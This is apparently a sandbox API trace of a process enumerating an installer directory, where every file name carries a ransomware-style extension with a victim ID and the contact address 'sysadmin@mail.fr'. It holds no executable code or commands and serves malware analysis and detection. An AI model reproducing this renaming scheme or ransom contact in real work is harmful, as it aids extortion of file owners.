	[0179.075] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\3082\\*", lpFindFileData=0x329f800 | out: lpFindFileData=0x329f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffdf9d, dwReserved1=0xb8d, cFileName=".", cAlternateFileName="")) returned 0x3cf0f28
	[0179.076] FindNextFileW (in: hFindFile=0x3cf0f28, lpFindFileData=0x329f800 | out: lpFindFileData=0x329f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffdf9d, dwReserved1=0xb8d, cFileName="..", cAlternateFileName="")) returned 1
	[0179.077] FindNextFileW (in: hFindFile=0x3cf0f28, lpFindFileData=0x329f800 | out: lpFindFileData=0x329f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x99df06c7, ftCreationTime.dwHighDateTime=0x1d50839, ftLastAccessTime.dwLowDateTime=0x99df06c7, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x99ed54b1, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0xce4, dwReserved0=0xffffdf9d, dwReserved1=0xb8d, cFileName="eula.rtf.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="EULART~1.YG")) returned 1
	[0179.077] FindNextFileW (in: hFindFile=0x3cf0f28, lpFindFileData=0x329f800 | out: lpFindFileData=0x329f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x99efb65a, ftCreationTime.dwHighDateTime=0x1d50839, ftLastAccessTime.dwLowDateTime=0x99efb65a, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x9a006756, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x13976, dwReserved0=0xffffdf9d, dwReserved1=0xb8d, cFileName="LocalizedData.xml.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="LOCALI~1.YG")) returned 1
	[0179.077] FindNextFileW (in: hFindFile=0x3cf0f28, lpFindFileData=0x329f800 | out: lpFindFileData=0x329f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x98ebd739, ftCreationTime.dwHighDateTime=0x1d50839, ftLastAccessTime.dwLowDateTime=0x98ebd739, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x99014bb0, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x4a58, dwReserved0=0xffffdf9d, dwReserved1=0xb8d, cFileName="SetupResources.dll.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="SETUPR~1.YG")) returned 1
	[0179.077] FindNextFileW (in: hFindFile=0x3cf0f28, lpFindFileData=0x329f800 | out: lpFindFileData=0x329f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x98ebd739, ftCreationTime.dwHighDateTime=0x1d50839, ftLastAccessTime.dwLowDateTime=0x98ebd739, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x99014bb0, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x4a58, dwReserved0=0xffffdf9d, dwReserved1=0xb8d, cFileName="SetupResources.dll.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="SETUPR~1.YG")) returned 0
	[0179.077] FindClose (in: hFindFile=0x3cf0f28 | out: hFindFile=0x3cf0f28) returned 1
	[0179.078] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3c50068 | out: hHeap=0x6a0000) returned 1
	[0179.078] FindNextFileW (in: hFindFile=0x6baa80, lpFindFileData=0x329fa7c | out: lpFindFileData=0x329fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf3768b28, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf378ed8a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x43, dwReserved1=0xffffb454, cFileName="Client", cAlternateFileName="")) returned 1
	[0179.078] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xfffe) returned 0x3c50068
	[0179.078] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\Client\\*", lpFindFileData=0x329f800 | out: lpFindFileData=0x329f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf3768b28, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf378ed8a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffdf9d, dwReserved1=0xb8d, cFileName=".", cAlternateFileName="")) returned 0x3cf0f68
	[0179.079] FindNextFileW (in: hFindFile=0x3cf0f68, lpFindFileData=0x329f800 | out: lpFindFileData=0x329f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf3768b28, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf378ed8a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffdf9d, dwReserved1=0xb8d, cFileName="..", cAlternateFileName="")) returned 1
	[0179.080] FindNextFileW (in: hFindFile=0x3cf0f68, lpFindFileData=0x329f800 | out: lpFindFileData=0x329f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x99efb65a, ftCreationTime.dwHighDateTime=0x1d50839, ftLastAccessTime.dwLowDateTime=0x99efb65a, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x9a02c966, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x31546, dwReserved0=0xffffdf9d, dwReserved1=0xb8d, cFileName="Parameterinfo.xml.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="PARAME~1.YG")) returned 1
	[0179.080] FindNextFileW (in: hFindFile=0x3cf0f68, lpFindFileData=0x329f800 | out: lpFindFileData=0x329f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x99efb65a, ftCreationTime.dwHighDateTime=0x1d50839, ftLastAccessTime.dwLowDateTime=0x99efb65a, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x9a09f0a4, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x9978, dwReserved0=0xffffdf9d, dwReserved1=0xb8d, cFileName="UiInfo.xml.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="UIINFO~1.YG")) returned 1
	[0179.080] FindNextFileW (in: hFindFile=0x3cf0f68, lpFindFileData=0x329f800 | out: lpFindFileData=0x329f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x99efb65a, ftCreationTime.dwHighDateTime=0x1d50839, ftLastAccessTime.dwLowDateTime=0x99efb65a, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x9a09f0a4, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x9978, dwReserved0=0xffffdf9d, dwReserved1=0xb8d, cFileName="UiInfo.xml.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="UIINFO~1.YG")) returned 0
	[0179.080] FindClose (in: hFindFile=0x3cf0f68 | out: hFindFile=0x3cf0f68) returned 1
	[0179.082] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3c50068 | out: hHeap=0x6a0000) returned 1
	[0179.082] FindNextFileW (in: hFindFile=0x6baa80, lpFindFileData=0x329fa7c | out: lpFindFileData=0x329fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x99efb65a, ftCreationTime.dwHighDateTime=0x1d50839, ftLastAccessTime.dwLowDateTime=0x99efb65a, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x99fe0595, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x3ff4, dwReserved0=0x43, dwReserved1=0xffffb454, cFileName="DHtmlHeader.html.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="DHTMLH~1.YG")) returned 1
	[0179.082] FindNextFileW (in: hFindFile=0x6baa80, lpFindFileData=0x329fa7c | out: lpFindFileData=0x329fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x98ee37f3, ftCreationTime.dwHighDateTime=0x1d50839, ftLastAccessTime.dwLowDateTime=0x98ee37f3, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x98fa2446, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x15ad2, dwReserved0=0x43, dwReserved1=0xffffb454, cFileName="DisplayIcon.ico.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="DISPLA~1.YG")) returned 1
	[0179.083] FindNextFileW (in: hFindFile=0x6baa80, lpFindFileData=0x329fa7c | out: lpFindFileData=0x329fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf378ed8a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf378ed8a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x43, dwReserved1=0xffffb454, cFileName="Extended", cAlternateFileName="")) returned 1
	[0179.083] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xfffe) returned 0x3c50068
	[0179.083] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\Extended\\*", lpFindFileData=0x329f800 | out: lpFindFileData=0x329f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf378ed8a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf378ed8a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffdf9d, dwReserved1=0xb8d, cFileName=".", cAlternateFileName="")) returned 0x3cf0ee8
	[0179.084] FindNextFileW (in: hFindFile=0x3cf0ee8, lpFindFileData=0x329f800 | out: lpFindFileData=0x329f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf378ed8a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf378ed8a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffdf9d, dwReserved1=0xb8d, cFileName="..", cAlternateFileName="")) returned 1
	[0179.084] FindNextFileW (in: hFindFile=0x3cf0ee8, lpFindFileData=0x329f800 | out: lpFindFileData=0x329f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x99fe0595, ftCreationTime.dwHighDateTime=0x1d50839, ftLastAccessTime.dwLowDateTime=0x99fe0595, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x9a1aa6cd, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x16d86, dwReserved0=0xffffdf9d, dwReserved1=0xb8d, cFileName="Parameterinfo.xml.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="PARAME~1.YG")) returned 1
	[0179.084] FindNextFileW (in: hFindFile=0x3cf0ee8, lpFindFileData=0x329f800 | out: lpFindFileData=0x329f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x9a006756, ftCreationTime.dwHighDateTime=0x1d50839, ftLastAccessTime.dwLowDateTime=0x9a006756, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x9a0c5303, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x9978, dwReserved0=0xffffdf9d, dwReserved1=0xb8d, cFileName="UiInfo.xml.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="UIINFO~1.YG")) returned 1
	[0179.084] FindNextFileW (in: hFindFile=0x3cf0ee8, lpFindFileData=0x329f800 | out: lpFindFileData=0x329f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x9a006756, ftCreationTime.dwHighDateTime=0x1d50839, ftLastAccessTime.dwLowDateTime=0x9a006756, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x9a0c5303, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x9978, dwReserved0=0xffffdf9d, dwReserved1=0xb8d, cFileName="UiInfo.xml.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="UIINFO~1.YG")) returned 0
	[0179.084] FindClose (in: hFindFile=0x3cf0ee8 | out: hFindFile=0x3cf0ee8) returned 1
	[0179.085] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3c50068 | out: hHeap=0x6a0000) returned 1
	[0179.085] FindNextFileW (in: hFindFile=0x6baa80, lpFindFileData=0x329fa7c | out: lpFindFileData=0x329fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf36f6419, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf371c69a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf371c69a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x43, dwReserved1=0xffffb454, cFileName="Graphics", cAlternateFileName="")) returned 1
	[0179.085] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xfffe) returned 0x3c50068
	[0179.085] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\Graphics\\*", lpFindFileData=0x329f800 | out: lpFindFileData=0x329f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf36f6419, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf371c69a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf371c69a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffdf9d, dwReserved1=0xb8d, cFileName=".", cAlternateFileName="")) returned 0x3cf0c28
	[0179.087] FindNextFileW (in: hFindFile=0x3cf0c28, lpFindFileData=0x329f800 | out: lpFindFileData=0x329f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf36f6419, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf371c69a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf371c69a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffdf9d, dwReserved1=0xb8d, cFileName="..", cAlternateFileName="")) returned 1
	[0179.087] FindNextFileW (in: hFindFile=0x3cf0c28, lpFindFileData=0x329f800 | out: lpFindFileData=0x329f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x990871f5, ftCreationTime.dwHighDateTime=0x1d50839, ftLastAccessTime.dwLowDateTime=0x990871f5, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x99145e1d, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x566, dwReserved0=0xffffdf9d, dwReserved1=0xb8d, cFileName="Print.ico.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="PRINTI~1.YG")) returned 1
	[0179.087] FindNextFileW (in: hFindFile=0x3cf0c28, lpFindFileData=0x329f800 | out: lpFindFileData=0x329f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x990871f5, ftCreationTime.dwHighDateTime=0x1d50839, ftLastAccessTime.dwLowDateTime=0x990871f5, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x990ad518, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x46a, dwReserved0=0xffffdf9d, dwReserved1=0xb8d, cFileName="Rotate1.ico.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="ROTATE~2.YG")) returned 1
	[0179.087] FindNextFileW (in: hFindFile=0x3cf0c28, lpFindFileData=0x329f800 | out: lpFindFileData=0x329f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x990871f5, ftCreationTime.dwHighDateTime=0x1d50839, ftLastAccessTime.dwLowDateTime=0x990871f5, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x9916c0d9, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x46a, dwReserved0=0xffffdf9d, dwReserved1=0xb8d, cFileName="Rotate2.ico.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="ROTATE~1.YG")) returned 1
	[0179.087] FindNextFileW (in: hFindFile=0x3cf0c28, lpFindFileData=0x329f800 | out: lpFindFileData=0x329f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x990ad518, ftCreationTime.dwHighDateTime=0x1d50839, ftLastAccessTime.dwLowDateTime=0x990ad518, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x99145e1d, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x46a, dwReserved0=0xffffdf9d, dwReserved1=0xb8d, cFileName="Rotate3.ico.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="ROTATE~3.YG")) returned 1
	[0179.087] FindNextFileW (in: hFindFile=0x3cf0c28, lpFindFileData=0x329f800 | out: lpFindFileData=0x329f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x990ad518, ftCreationTime.dwHighDateTime=0x1d50839, ftLastAccessTime.dwLowDateTime=0x990ad518, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x991394ec, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x46a, dwReserved0=0xffffdf9d, dwReserved1=0xb8d, cFileName="Rotate4.ico.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="ROTATE~4.YG")) returned 1
	[0179.088] FindNextFileW (in: hFindFile=0x3cf0c28, lpFindFileData=0x329f800 | out: lpFindFileData=0x329f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x99145e1d, ftCreationTime.dwHighDateTime=0x1d50839, ftLastAccessTime.dwLowDateTime=0x99145e1d, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x991b8451, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x46a, dwReserved0=0xffffdf9d, dwReserved1=0xb8d, cFileName="Rotate5.ico.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="ROC103~1.YG")) returned 1
	[0179.088] FindNextFileW (in: hFindFile=0x3cf0c28, lpFindFileData=0x329f800 | out: lpFindFileData=0x329f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x99145e1d, ftCreationTime.dwHighDateTime=0x1d50839, ftLastAccessTime.dwLowDateTime=0x99145e1d, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x991de6e7, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x46a, dwReserved0=0xffffdf9d, dwReserved1=0xb8d, cFileName="Rotate6.ico.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="RO0D62~1.YG")) returned 1
	[0179.088] FindNextFileW (in: hFindFile=0x3cf0c28, lpFindFileData=0x329f800 | out: lpFindFileData=0x329f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x99145e1d, ftCreationTime.dwHighDateTime=0x1d50839, ftLastAccessTime.dwLowDateTime=0x99145e1d, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x991b8451, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x46a, dwReserved0=0xffffdf9d, dwReserved1=0xb8d, cFileName="Rotate7.ico.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="ROD38B~1.YG")) returned 1
	[0179.088] FindNextFileW (in: hFindFile=0x3cf0c28, lpFindFileData=0x329f800 | out: lpFindFileData=0x329f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x991b8451, ftCreationTime.dwHighDateTime=0x1d50839, ftLastAccessTime.dwLowDateTime=0x991b8451, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x9920498c, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x46a, dwReserved0=0xffffdf9d, dwReserved1=0xb8d, cFileName="Rotate8.ico.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="ROFAE9~1.YG")) returned 1
	[0179.088] FindNextFileW (in: hFindFile=0x3cf0c28, lpFindFileData=0x329f800 | out: lpFindFileData=0x329f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x991b8451, ftCreationTime.dwHighDateTime=0x1d50839, ftLastAccessTime.dwLowDateTime=0x991b8451, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x99250e61, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x564, dwReserved0=0xffffdf9d, dwReserved1=0xb8d, cFileName="Save.ico.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="SAVEIC~1.YG")) returned 1
	[0179.088] FindNextFileW (in: hFindFile=0x3cf0c28, lpFindFileData=0x329f800 | out: lpFindFileData=0x329f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x991b8451, ftCreationTime.dwHighDateTime=0x1d50839, ftLastAccessTime.dwLowDateTime=0x991b8451, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x9929d2de, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x9056, dwReserved0=0xffffdf9d, dwReserved1=0xb8d, cFileName="Setup.ico.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="SETUPI~1.YG")) returned 1
	[0179.088] FindNextFileW (in: hFindFile=0x3cf0c28, lpFindFileData=0x329f800 | out: lpFindFileData=0x329f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x991de6e7, ftCreationTime.dwHighDateTime=0x1d50839, ftLastAccessTime.dwLowDateTime=0x991de6e7, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x9922acae, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x2884, dwReserved0=0xffffdf9d, dwReserved1=0xb8d, cFileName="stop.ico.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="STOPIC~1.YG")) returned 1
	[0179.089] FindNextFileW (in: hFindFile=0x3cf0c28, lpFindFileData=0x329f800 | out: lpFindFileData=0x329f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x9920498c, ftCreationTime.dwHighDateTime=0x1d50839, ftLastAccessTime.dwLowDateTime=0x9920498c, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x99250e61, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x56e, dwReserved0=0xffffdf9d, dwReserved1=0xb8d, cFileName="SysReqMet.ico.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="SYSREQ~1.YG")) returned 1
	[0179.089] FindNextFileW (in: hFindFile=0x3cf0c28, lpFindFileData=0x329f800 | out: lpFindFileData=0x329f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x9922acae, ftCreationTime.dwHighDateTime=0x1d50839, ftLastAccessTime.dwLowDateTime=0x9922acae, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x992c4723, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x574, dwReserved0=0xffffdf9d, dwReserved1=0xb8d, cFileName="SysReqNotMet.ico.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="SYSREQ~2.YG")) returned 1
	[0179.089] FindNextFileW (in: hFindFile=0x3cf0c28, lpFindFileData=0x329f800 | out: lpFindFileData=0x329f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x99250e61, ftCreationTime.dwHighDateTime=0x1d50839, ftLastAccessTime.dwLowDateTime=0x99250e61, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x9935bf1c, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x2884, dwReserved0=0xffffdf9d, dwReserved1=0xb8d, cFileName="warn.ico.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="WARNIC~1.YG")) returned 1
	[0179.089] FindNextFileW (in: hFindFile=0x3cf0c28, lpFindFileData=0x329f800 | out: lpFindFileData=0x329f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x99250e61, ftCreationTime.dwHighDateTime=0x1d50839, ftLastAccessTime.dwLowDateTime=0x99250e61, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x9935bf1c, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x2884, dwReserved0=0xffffdf9d, dwReserved1=0xb8d, cFileName="warn.ico.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="WARNIC~1.YG")) returned 0
	[0179.089] FindClose (in: hFindFile=0x3cf0c28 | out: hFindFile=0x3cf0c28) returned 1
	[0179.090] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3c50068 | out: hHeap=0x6a0000) returned 1
	[0179.090] FindNextFileW (in: hFindFile=0x6baa80, lpFindFileData=0x329fa7c | out: lpFindFileData=0x329fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x9a02c966, ftCreationTime.dwHighDateTime=0x1d50839, ftLastAccessTime.dwLowDateTime=0x9a02c966, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x9a3e6a62, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0xf18, dwReserved0=0x43, dwReserved1=0xffffb454, cFileName="header.bmp.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="HEADER~1.YG")) returned 1
	[0179.090] FindNextFileW (in: hFindFile=0x6baa80, lpFindFileData=0x329fa7c | out: lpFindFileData=0x329fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x66ea7e00, ftCreationTime.dwHighDateTime=0x1cac6e3, ftLastAccessTime.dwLowDateTime=0x66ea7e00, ftLastAccessTime.dwHighDateTime=0x1cac6e3, ftLastWriteTime.dwLowDateTime=0x9a622e42, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0xadd3953, dwReserved0=0x43, dwReserved1=0xffffb454, cFileName="netfx_Core.mzz.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="NETFX_~1.YG")) returned 1
